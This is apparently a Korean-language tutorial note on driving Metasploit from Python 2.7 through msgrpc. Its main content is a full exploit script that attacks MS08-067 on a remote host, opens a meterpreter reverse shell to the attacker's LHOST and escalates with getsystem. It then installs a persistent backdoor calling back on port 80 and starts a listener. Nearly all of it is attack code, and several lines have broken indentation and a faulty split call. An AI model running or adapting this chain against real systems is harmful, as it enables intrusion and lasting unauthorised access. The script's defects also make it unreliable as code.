[primalsecurity] 0xA – Python for Metasploit Automation

환경 : 칼리리눅스, 파이썬 2.7

 

pymsf 모듈로 python과 Metasploit’s msgrpc를 활용

 

msfrpc 패스워드 설정

msf5 > load msgrpc Pass=toor

 

root@root:~# msfconsole
 
msf5 > load msgrpc Pass=toor
[*] MSGRPC Service:  127.0.0.1:55552 
[*] MSGRPC Username: msf
[*] MSGRPC Password: toor
[*] Successfully loaded plugin: msgrpc
msf5 > 

 

msfrpc은 msfconsole로 명령하는 것처럼 수행됨

msgrpg 클래스 생성 -> msgrpc 서버 접속 및 가상 콘솔 생성 -> 명령 수행

call 생성 및 메소드 수행

   1. client.call('console.write',[console_id,commands])   #명령 전달

   2. res = client.call('console.read',[console_id])          #명령 결과를 res 변수에 저장

 

msgrpg 클래스 생성 -> msgrpc 서버 접속 및 가상 콘솔 생성

def sploiter(RHOST, LHOST, LPORT, session):
    client = msfrpc.Msfrpc({})
    client.login('msf', '123')
    ress = client.call('console.create')
    console_id = ress['id']

 

call 생성 및 메소드 수행

   1. client.call('console.write',[console_id,commands])   #명령 전달

   2. res = client.call('console.read',[console_id])          #명령 결과를 res 변수에 저장

 

## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('n')

 

msg 리소스 파일 생성

resource<PathToFile> : 명령 저장 파일, 파일로부터 읽어들여 명령을 실행

getsystem : 권한상승

run persistence : LHOST:PORT 연결, 백도어 생성

 

# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')
 
     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\
upload /tmp/ms08067_patch.exe c:\
upload /tmp/ms08067_install.bat c:\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()

 

/tmp/smbpost.rc, rc 파일을 이용해서

msg=>post/multi/gather/run_console_rc-ile 모듈의 인터프리터 세션 명령을 실행

console.write와 console.read를 사용해서 명령 전달 및 결과값 확인 가능

 

## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres

 

optparse 모듈로 RHOST, LHOST, LPORT 등의 변수들의 커맨드라인 생성

PoC 코드

 

import os, msfrpc, optparse, sys, subprocess
from time import sleep
 
# Function to create the MSF .rc files
def builder(RHOST, LHOST, LPORT):
     post = open('/tmp/smbpost.rc', 'w')
     bat = open('/tmp/ms08067_install.bat', 'w')
 
     postcomms = """getsystem
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
cd c:\
upload /tmp/ms08067_patch.exe c:\
upload /tmp/ms08067_install.bat c:\
execute -f ms08067_install.bat
"""
     batcomm = "ms08067_patch.exe /quiet"
     post.write(postcomms); bat.write(batcomm)
     post.close(); bat.close()
 
# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
def sploiter(RHOST, LHOST, LPORT, session):
     client = msfrpc.Msfrpc({})
        client.login('msf', '123')
        ress = client.call('console.create')
        console_id = ress['id']
 
## Exploit MS08-067 ##
     commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
     print "[+] Exploiting MS08-067 on: "+RHOST
     client.call('console.write',[console_id,commands])
     res = client.call('console.read',[console_id])
     result = res['data'].split('n')
 
## Run Post-exploit script ##
     runPost = """use post/multi/gather/run_console_rc_file
set RESOURCE /tmp/smbpost.rc
set SESSION """+session+"""
exploit
"""
     print "[+] Running post-exploit script on: "+RHOST
     client.call('console.write',[console_id,runPost])
     rres = client.call('console.read',[console_id])
## Setup Listener for presistent connection back over port 80 ##
     sleep(10)
     listen = """use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 80
set LHOST """+LHOST+"""
exploit
"""
     print "[+] Setting up listener on: "+LHOST+":80"
     client.call('console.write',[console_id,listen])
     lres = client.call('console.read',[console_id])
     print lres
 
def main():
        parser = optparse.OptionParser(sys.argv[0] +
        ' -p LPORT -r RHOST -l LHOST')
        parser.add_option('-p', dest='LPORT', type='string', 
        help ='specify a port to listen on')
        parser.add_option('-r', dest='RHOST', type='string', 
        help='Specify a remote host')
        parser.add_option('-l', dest='LHOST', type='string', 
        help='Specify a local host')
     parser.add_option('-s', dest='session', type='string', 
        help ='specify session ID')
     (options, args) = parser.parse_args()
     session=options.session
     RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT
 
     if (RHOST == None) and (LPORT == None) and (LHOST == None):
                print parser.usage
                sys.exit(0)
 
     builder(RHOST, LHOST, LPORT)
     sploiter(RHOST, LHOST, LPORT, session)
 
if __name__ == "__main__":
      main()